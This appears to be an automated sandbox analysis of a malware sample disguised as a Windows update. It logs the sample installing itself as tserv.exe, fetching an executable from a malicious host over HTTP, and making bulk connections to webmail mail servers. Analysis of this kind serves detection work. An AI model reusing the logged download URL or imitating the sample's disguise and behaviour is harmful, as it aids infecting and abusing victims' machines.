                                                                  2024-10-31T15:42:14.566301+01002019714ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile2192.168.2.849711193.166.255.17180TCP
                                                                  2024-10-31T15:42:16.185406+01002022930ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow120.12.23.50443192.168.2.857702TCP
                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Oct 31, 2024 15:41:43.865546942 CET4970425192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:41:44.334803104 CET4970680192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:41:44.340262890 CET8049706193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:41:44.340338945 CET4970680192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:41:44.340513945 CET4970680192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:41:44.345652103 CET8049706193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:41:44.875307083 CET4970425192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:41:46.875346899 CET4970425192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:41:50.891031027 CET4970425192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:41:52.824590921 CET8049706193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:41:52.824742079 CET4970680192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:41:52.825217009 CET4970680192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:41:52.830066919 CET8049706193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:41:58.891026020 CET4970425192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:42:04.891340017 CET4971025192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:05.906795025 CET4971025192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:06.070801020 CET4971180192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:42:06.076186895 CET8049711193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:42:06.076262951 CET4971180192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:42:06.077193022 CET4971180192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:42:06.078315973 CET4971225192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:42:06.082011938 CET8049711193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:42:07.078470945 CET4971225192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:42:07.922271967 CET4971025192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:09.094193935 CET4971225192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:42:11.922225952 CET4971025192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:13.094105005 CET4971225192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:42:14.566097975 CET8049711193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:42:14.566301107 CET4971180192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:42:14.566301107 CET4971180192.168.2.8193.166.255.171
                                                                  Oct 31, 2024 15:42:14.571243048 CET8049711193.166.255.171192.168.2.8
                                                                  Oct 31, 2024 15:42:19.937906027 CET4971025192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:21.094245911 CET4971225192.168.2.867.195.204.72
                                                                  Oct 31, 2024 15:42:25.978558064 CET5770325192.168.2.898.136.96.77
                                                                  Oct 31, 2024 15:42:26.984992027 CET5770325192.168.2.898.136.96.77
                                                                  Oct 31, 2024 15:42:27.094604015 CET5770425192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:28.109802961 CET5770425192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:29.013484955 CET5770325192.168.2.898.136.96.77
                                                                  Oct 31, 2024 15:42:30.125516891 CET5770425192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:33.016030073 CET5770325192.168.2.898.136.96.77
                                                                  Oct 31, 2024 15:42:34.141006947 CET5770425192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:41.031862020 CET5770325192.168.2.898.136.96.77
                                                                  Oct 31, 2024 15:42:42.141031981 CET5770425192.168.2.898.136.96.75
                                                                  Oct 31, 2024 15:42:47.104471922 CET5770725192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:42:48.109775066 CET5770725192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:42:48.141546011 CET5771425192.168.2.867.195.228.111
                                                                  Oct 31, 2024 15:42:49.156627893 CET5771425192.168.2.867.195.228.111
                                                                  Oct 31, 2024 15:42:50.125442982 CET5770725192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:42:51.156697035 CET5771425192.168.2.867.195.228.111
                                                                  Oct 31, 2024 15:42:54.141108990 CET5770725192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:42:55.172308922 CET5771425192.168.2.867.195.228.111
                                                                  Oct 31, 2024 15:43:02.141040087 CET5770725192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:43:03.172513962 CET5771425192.168.2.867.195.228.111
                                                                  Oct 31, 2024 15:43:08.148283958 CET5781625192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:09.156723022 CET5781625192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:09.190795898 CET5782325192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:43:10.203598022 CET5782325192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:43:11.156688929 CET5781625192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:12.203569889 CET5782325192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:43:15.156682968 CET5781625192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:16.219468117 CET5782325192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:43:23.156718969 CET5781625192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:24.234929085 CET5782325192.168.2.8142.251.1.26
                                                                  Oct 31, 2024 15:43:29.172641039 CET5792525192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:30.172401905 CET5792525192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:30.250865936 CET5793225192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:31.266127110 CET5793225192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:32.172347069 CET5792525192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:33.281738997 CET5793225192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:36.172358036 CET5792525192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:37.297337055 CET5793225192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:44.172355890 CET5792525192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:45.313015938 CET5793225192.168.2.8142.250.153.26
                                                                  Oct 31, 2024 15:43:50.173320055 CET5797825192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:43:51.188179970 CET5797825192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:43:51.315334082 CET5797925192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:52.328655005 CET5797925192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:53.188049078 CET5797825192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:43:54.344235897 CET5797925192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:43:57.203759909 CET5797825192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:43:58.359921932 CET5797925192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:44:05.219245911 CET5797825192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:44:06.375494003 CET5797925192.168.2.8142.251.9.27
                                                                  Oct 31, 2024 15:44:11.224590063 CET5798025192.168.2.874.125.200.27
                                                                  Oct 31, 2024 15:44:12.234899044 CET5798025192.168.2.874.125.200.27
                                                                  Oct 31, 2024 15:44:12.392241001 CET5798125192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:44:13.406856060 CET5798125192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:44:14.234916925 CET5798025192.168.2.874.125.200.27
                                                                  Oct 31, 2024 15:44:15.422410965 CET5798125192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:44:18.235049009 CET5798025192.168.2.874.125.200.27
                                                                  Oct 31, 2024 15:44:19.422406912 CET5798125192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:44:26.234910965 CET5798025192.168.2.874.125.200.27
                                                                  Oct 31, 2024 15:44:27.422415018 CET5798125192.168.2.874.125.133.27
                                                                  Oct 31, 2024 15:44:32.584089994 CET5798225192.168.2.852.101.73.31
                                                                  Oct 31, 2024 15:44:33.422785044 CET5798325192.168.2.874.125.200.27
                                                                  Oct 31, 2024 15:44:33.594304085 CET5798225192.168.2.852.101.73.31
                                                                  Oct 31, 2024 15:44:34.422408104 CET5798325192.168.2.874.125.200.27
                                                                  Oct 31, 2024 15:44:35.594281912 CET5798225192.168.2.852.101.73.31
                                                                  Oct 31, 2024 15:44:36.422399998 CET5798325192.168.2.874.125.200.27
                                                                  TimestampSource PortDest PortSource IPDest IP
                                                                  Oct 31, 2024 15:41:43.806142092 CET6066953192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:41:43.813209057 CET53606691.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:41:43.818804026 CET5599853192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:41:43.826210022 CET53559981.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:41:43.841656923 CET6140753192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:41:43.848725080 CET53614071.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:41:43.853585958 CET5459553192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:41:43.861799955 CET53545951.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:41:44.317424059 CET5409253192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:41:44.331186056 CET53540921.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:06.008323908 CET5073053192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:42:06.074105024 CET53507301.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:14.147855043 CET5353909162.159.36.2192.168.2.8
                                                                  Oct 31, 2024 15:42:14.805043936 CET53568621.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:47.047966957 CET5863353192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:42:47.055659056 CET53586331.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:47.056509972 CET6318853192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:42:47.063720942 CET53631881.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:47.064553976 CET6289153192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:42:47.071666956 CET53628911.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:47.072400093 CET5742553192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:42:47.080058098 CET53574251.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:47.080970049 CET6316953192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:42:47.090224981 CET53631691.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:42:47.091118097 CET5146053192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:42:47.103738070 CET53514601.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:44:32.235624075 CET5150953192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:44:32.569304943 CET53515091.1.1.1192.168.2.8
                                                                  Oct 31, 2024 15:44:32.572355986 CET5626153192.168.2.81.1.1.1
                                                                  Oct 31, 2024 15:44:32.579756021 CET53562611.1.1.1192.168.2.8
                                                                  TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                  Oct 31, 2024 15:41:43.806142092 CET192.168.2.81.1.1.10xee49Standard query (0)yahoo.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.818804026 CET192.168.2.81.1.1.10x1053Standard query (0)mta5.am0.yahoodns.netA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.841656923 CET192.168.2.81.1.1.10x5ebbStandard query (0)mta7.am0.yahoodns.netA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.853585958 CET192.168.2.81.1.1.10x5efbStandard query (0)mta6.am0.yahoodns.netA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:44.317424059 CET192.168.2.81.1.1.10x57c1Standard query (0)www4.cedesunjerinkas.comA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.008323908 CET192.168.2.81.1.1.10x5960Standard query (0)mta7.am0.yahoodns.netA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.047966957 CET192.168.2.81.1.1.10x94f2Standard query (0)gmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.056509972 CET192.168.2.81.1.1.10xa0d8Standard query (0)alt3.gmail-smtp-in.l.google.comA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.064553976 CET192.168.2.81.1.1.10x5febStandard query (0)alt1.gmail-smtp-in.l.google.comA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.072400093 CET192.168.2.81.1.1.10xf9a9Standard query (0)gmail-smtp-in.l.google.comA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.080970049 CET192.168.2.81.1.1.10xb668Standard query (0)alt4.gmail-smtp-in.l.google.comA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.091118097 CET192.168.2.81.1.1.10xa061Standard query (0)alt2.gmail-smtp-in.l.google.comA (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:44:32.235624075 CET192.168.2.81.1.1.10x372dStandard query (0)hotmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:44:32.572355986 CET192.168.2.81.1.1.10x9695Standard query (0)hotmail-com.olc.protection.outlook.comA (IP address)IN (0x0001)false
                                                                  TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                  Oct 31, 2024 15:41:43.813209057 CET1.1.1.1192.168.2.80xee49No error (0)yahoo.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.813209057 CET1.1.1.1192.168.2.80xee49No error (0)yahoo.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.813209057 CET1.1.1.1192.168.2.80xee49No error (0)yahoo.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net67.195.204.72A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net98.136.96.74A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net67.195.204.77A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net98.136.96.77A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net67.195.204.79A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net98.136.96.75A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net67.195.228.106A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.826210022 CET1.1.1.1192.168.2.80x1053No error (0)mta5.am0.yahoodns.net67.195.204.73A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net98.136.96.77A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net98.136.96.75A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net67.195.228.94A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net67.195.204.77A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net67.195.204.72A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net98.136.96.91A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net67.195.204.73A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.848725080 CET1.1.1.1192.168.2.80x5ebbNo error (0)mta7.am0.yahoodns.net98.136.96.74A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net98.136.96.75A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net67.195.228.109A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net98.136.96.76A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net67.195.228.111A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net67.195.228.94A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net67.195.204.73A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net98.136.96.77A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:43.861799955 CET1.1.1.1192.168.2.80x5efbNo error (0)mta6.am0.yahoodns.net67.195.228.110A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:41:44.331186056 CET1.1.1.1192.168.2.80x57c1No error (0)www4.cedesunjerinkas.com193.166.255.171A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net67.195.228.111A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net67.195.204.79A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net98.136.96.76A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net98.136.96.77A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net98.136.96.74A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net98.136.96.91A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net67.195.204.73A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:06.074105024 CET1.1.1.1192.168.2.80x5960No error (0)mta7.am0.yahoodns.net67.195.204.77A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.055659056 CET1.1.1.1192.168.2.80x94f2No error (0)gmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.055659056 CET1.1.1.1192.168.2.80x94f2No error (0)gmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.055659056 CET1.1.1.1192.168.2.80x94f2No error (0)gmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.055659056 CET1.1.1.1192.168.2.80x94f2No error (0)gmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.055659056 CET1.1.1.1192.168.2.80x94f2No error (0)gmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.063720942 CET1.1.1.1192.168.2.80xa0d8No error (0)alt3.gmail-smtp-in.l.google.com142.251.1.26A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.071666956 CET1.1.1.1192.168.2.80x5febNo error (0)alt1.gmail-smtp-in.l.google.com142.250.153.26A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.080058098 CET1.1.1.1192.168.2.80xf9a9No error (0)gmail-smtp-in.l.google.com74.125.133.27A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.090224981 CET1.1.1.1192.168.2.80xb668No error (0)alt4.gmail-smtp-in.l.google.com74.125.200.27A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:42:47.103738070 CET1.1.1.1192.168.2.80xa061No error (0)alt2.gmail-smtp-in.l.google.com142.251.9.27A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:44:32.569304943 CET1.1.1.1192.168.2.80x372dNo error (0)hotmail.comMX (Mail exchange)IN (0x0001)false
                                                                  Oct 31, 2024 15:44:32.579756021 CET1.1.1.1192.168.2.80x9695No error (0)hotmail-com.olc.protection.outlook.com52.101.73.31A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:44:32.579756021 CET1.1.1.1192.168.2.80x9695No error (0)hotmail-com.olc.protection.outlook.com52.101.8.53A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:44:32.579756021 CET1.1.1.1192.168.2.80x9695No error (0)hotmail-com.olc.protection.outlook.com52.101.73.5A (IP address)IN (0x0001)false
                                                                  Oct 31, 2024 15:44:32.579756021 CET1.1.1.1192.168.2.80x9695No error (0)hotmail-com.olc.protection.outlook.com52.101.10.15A (IP address)IN (0x0001)false
                                                                  • www4.cedesunjerinkas.com
                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  0192.168.2.849706193.166.255.171804032C:\Windows\tserv.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Oct 31, 2024 15:41:44.340513945 CET64OUTGET /chr/wtb/lt.exe HTTP/1.1
                                                                  Host: www4.cedesunjerinkas.com


                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                  1192.168.2.849711193.166.255.171804280C:\Windows\tserv.exe
                                                                  TimestampBytes transferredDirectionData
                                                                  Oct 31, 2024 15:42:06.077193022 CET64OUTGET /chr/wtb/lt.exe HTTP/1.1
                                                                  Host: www4.cedesunjerinkas.com


                                                                  Click to jump to process

                                                                  Click to jump to process

                                                                  Click to dive into process behavior distribution

                                                                  Click to jump to process

                                                                  Target ID:0
                                                                  Start time:10:41:27
                                                                  Start date:31/10/2024
                                                                  Path:C:\Users\user\Desktop\Update-KB4890-x86.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Users\user\Desktop\Update-KB4890-x86.exe"
                                                                  Imagebase:0x400000
                                                                  File size:423'046 bytes
                                                                  MD5 hash:EF486246C545A184394561883098FA97
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:low
                                                                  Has exited:true

                                                                  Target ID:2
                                                                  Start time:10:41:32
                                                                  Start date:31/10/2024
                                                                  Path:C:\Windows\tserv.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:C:\Windows\tserv.exe s
                                                                  Imagebase:0x400000
                                                                  File size:423'046 bytes
                                                                  MD5 hash:EF486246C545A184394561883098FA97
                                                                  Has elevated privileges:true
                                                                  Has administrator privileges:true
                                                                  Programmed in:C, C++ or other language
                                                                  Antivirus matches:
                                                                  • Detection: 100%, Avira
                                                                  • Detection: 100%, Joe Sandbox ML
                                                                  • Detection: 95%, ReversingLabs
                                                                  Reputation:low
                                                                  Has exited:false

                                                                  Target ID:5
                                                                  Start time:10:41:55
                                                                  Start date:31/10/2024
                                                                  Path:C:\Windows\tserv.exe
                                                                  Wow64 process (32bit):true
                                                                  Commandline:"C:\Windows\tserv.exe" s
                                                                  Imagebase:0x400000
                                                                  File size:423'046 bytes
                                                                  MD5 hash:EF486246C545A184394561883098FA97
                                                                  Has elevated privileges:false
                                                                  Has administrator privileges:false
                                                                  Programmed in:C, C++ or other language
                                                                  Reputation:low
                                                                  Has exited:false

                                                                  Reset < >

                                                                    Execution Graph

                                                                    Execution Coverage:4.4%
                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                    Signature Coverage:15.1%
                                                                    Total number of Nodes:2000
                                                                    Total number of Limit Nodes:47
                                                                    execution_graph 16087 420ac8 16088 420ad0 GetProcessHeap HeapAlloc RegOpenKeyExA 16087->16088 16090 420f00 16088->16090 16091 420ef1 GetLastError 16088->16091 16092 420f04 RegQueryValueExA 16090->16092 16091->16092 16093 420f32 16092->16093 16094 420f27 GetLastError 16092->16094 16095 420f40 RegCloseKey RegOpenKeyExA 16093->16095 16094->16095 16096 420f60 GetLastError 16095->16096 16097 420f69 RegQueryValueExA 16095->16097 16096->16097 16098 420f92 GetLastError 16097->16098 16099 420fa7 16097->16099 16104 420fc2 16098->16104 16100 42cfce 61 API calls 16099->16100 16100->16104 16101 41f020 11 API calls 16102 42107e 16101->16102 16103 41f100 5 API calls 16102->16103 16105 42108e GetProcessHeap HeapFree RegCloseKey 16103->16105 16104->16101 16106 424873 _fast_error_exit 36 API calls 16105->16106 16107 4210c4 16106->16107 16062 41fad9 16063 41fae0 16062->16063 16063->16063 16064 41fb79 GetProcessHeap HeapAlloc RegOpenKeyExA 16063->16064 16065 41fc24 GetLastError 16064->16065 16066 41fc29 RegQueryValueExA 16064->16066 16065->16066 16067 41fc51 16066->16067 16068 41fc4a GetLastError 16066->16068 16069 425a4d 36 API calls 16067->16069 16086 41fca7 16068->16086 16070 41fc5c 16069->16070 16072 41fc69 16070->16072 16075 4259c0 ___initmbctable 50 API calls 16070->16075 16071 41f020 11 API calls 16073 41fccd 16071->16073 16074 425a4d 36 API calls 16072->16074 16076 41f100 5 API calls 16073->16076 16078 41fc7b 16074->16078 16075->16072 16077 41fcdd GetProcessHeap HeapFree RegCloseKey 16076->16077 16079 424873 _fast_error_exit 36 API calls 16077->16079 16080 41fc88 16078->16080 16082 4259c0 ___initmbctable 50 API calls 16078->16082 16081 41fd45 16079->16081 16083 425a4d 36 API calls 16080->16083 16082->16080 16084 41fc9a 16083->16084 16085 4259c0 ___initmbctable 50 API calls 16084->16085 16084->16086 16085->16086 16086->16071 12655 42d570 12660 41e3a0 12655->12660 12661 41e450 12660->12661 12673 423260 GetProcessHeap HeapAlloc 12661->12673 12663 41ee55 12664 41ee59 12663->12664 12665 41ee5f CreateEventA CreateEventA CreateEventA CreateEventA CreateEventA 12663->12665 12664->12665 12715 4237e0 GetVersionExA 12665->12715 12667 41eedf 12716 424873 12667->12716 12670 42570f 12876 4256d7 12670->12876 12672 425718 12674 4232d3 HeapAlloc 12673->12674 12675 4232bf 12673->12675 12677 423306 HeapAlloc 12674->12677 12678 4232e4 HeapFree 12674->12678 12676 424873 _fast_error_exit 36 API calls 12675->12676 12681 4232cd 12676->12681 12679 423344 HeapAlloc 12677->12679 12680 42331a HeapFree 12677->12680 12682 424873 _fast_error_exit 36 API calls 12678->12682 12684 423356 HeapFree HeapFree 12679->12684 12685 42336e HeapAlloc 12679->12685 12683 42332a HeapFree 12680->12683 12681->12663 12686 423300 12682->12686 12687 42332f 12683->12687 12684->12683 12688 42339f HeapAlloc 12685->12688 12689 42337d HeapFree HeapFree HeapFree 12685->12689 12686->12663 12690 424873 _fast_error_exit 36 API calls 12687->12690 12691 4233df InitializeSecurityDescriptor 12688->12691 12692 4233af HeapFree HeapFree HeapFree HeapFree 12688->12692 12689->12683 12693 42333e 12690->12693 12691->12687 12694 42340b GetCurrentProcess OpenProcessToken 12691->12694 12692->12683 12693->12663 12694->12687 12695 42342a GetTokenInformation 12694->12695 12695->12687 12696 42344c GetTokenInformation 12695->12696 12696->12687 12697 42346c GetTokenInformation 12696->12697 12697->12687 12698 42348c 12697->12698 12698->12687 12699 423496 SetSecurityDescriptorOwner 12698->12699 12699->12687 12700 4234ab 12699->12700 12700->12687 12701 4234b9 SetSecurityDescriptorGroup 12700->12701 12701->12687 12702 4234ce AllocateAndInitializeSid 12701->12702 12702->12687 12703 4234fb 12702->12703 12703->12687 12704 423507 GetLengthSid AddAce 12703->12704 12704->12687 12705 4235b6 AllocateAndInitializeSid 12704->12705 12705->12687 12706 4235fd 12705->12706 12706->12687 12707 423609 GetLengthSid AddAce 12706->12707 12707->12687 12708 4236cd AllocateAndInitializeSid 12707->12708 12708->12687 12709 423712 12708->12709 12709->12687 